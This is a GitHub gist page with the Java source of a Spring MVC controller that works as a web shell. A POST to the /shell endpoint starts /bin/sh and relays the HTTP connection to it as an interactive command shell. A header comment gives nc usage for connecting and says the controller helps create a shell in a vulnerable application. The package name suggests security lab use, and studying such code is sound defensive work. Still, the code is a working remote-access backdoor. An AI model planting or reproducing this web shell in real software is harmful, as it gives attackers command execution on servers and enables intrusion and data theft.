Created
January 29, 2018 11:33
-
-
Save dzmitry-savitski/89540f13316e594b61420e07932053ae to your computer and use it in GitHub Desktop.
Spring MVC shell using controller and AsyncContext
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.dsavitski.vulnerable.controllers; | |
import org.springframework.stereotype.Controller; | |
import org.springframework.web.bind.annotation.RequestMapping; | |
import org.springframework.web.bind.annotation.RequestMethod; | |
import org.springframework.web.bind.annotation.ResponseBody; | |
import javax.servlet.AsyncContext; | |
import javax.servlet.ServletInputStream; | |
import javax.servlet.ServletOutputStream; | |
import javax.servlet.http.HttpServletRequest; | |
import javax.servlet.http.HttpServletResponse; | |
import java.io.IOException; | |
import java.io.InputStream; | |
import java.io.OutputStream; | |
/** | |
* This Spring MVC controller can help to create a cmd shell in vulnerable application. | |
* <p> | |
* Usage: | |
* nc localhost 8080 | |
* POST /shell HTTP/1.1 | |
* Host: localhost | |
* Content-Length: 2147483647 | |
* Accept-Encoding: identity | |
* Transfer-Encoding: identity | |
* <p> | |
* After that you'll have a cmd shell. | |
* Tomcat sets connectionTimeout for 20 seconds, so your input stream will be dropped after 20 seconds of idle. | |
*/ | |
@Controller | |
public class ShellController { | |
private static final String MAPPING = "/shell"; | |
private static final String EXEC = "/bin/sh"; | |
@RequestMapping(value = MAPPING, method = RequestMethod.POST) | |
@ResponseBody | |
public String index(HttpServletRequest request, HttpServletResponse response) throws IOException { | |
// get rid of Transfer-Encoding: chunked in response | |
response.setContentLength(Integer.MAX_VALUE); | |
AsyncContext asyncContext = request.startAsync(); | |
final ServletOutputStream socketOut = asyncContext.getResponse().getOutputStream(); | |
final ServletInputStream socketIn = asyncContext.getRequest().getInputStream(); | |
socketOut.println("Shell started!"); | |
socketOut.flush(); | |
Process p = new ProcessBuilder(EXEC).redirectErrorStream(true).start(); | |
InputStream processIn = p.getInputStream(); | |
InputStream processError = p.getErrorStream(); | |
OutputStream processOut = p.getOutputStream(); | |
while (true) { | |
try { | |
while (processIn.available() > 0) socketOut.write(processIn.read()); | |
while (processError.available() > 0) socketOut.write(processError.read()); | |
socketOut.flush(); | |
int read = socketIn.read(); | |
if (read > 0 && read != 10) { | |
do { | |
processOut.write(read); | |
read = socketIn.read(); | |
} while (read > 0 && read != 10); | |
processOut.write(10); | |
processOut.flush(); | |
} | |
Thread.sleep(50); | |
p.exitValue(); | |
break; | |
} catch (Exception e) { /* NOP */} | |
} | |
p.destroy(); | |
return "Shell closed!"; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment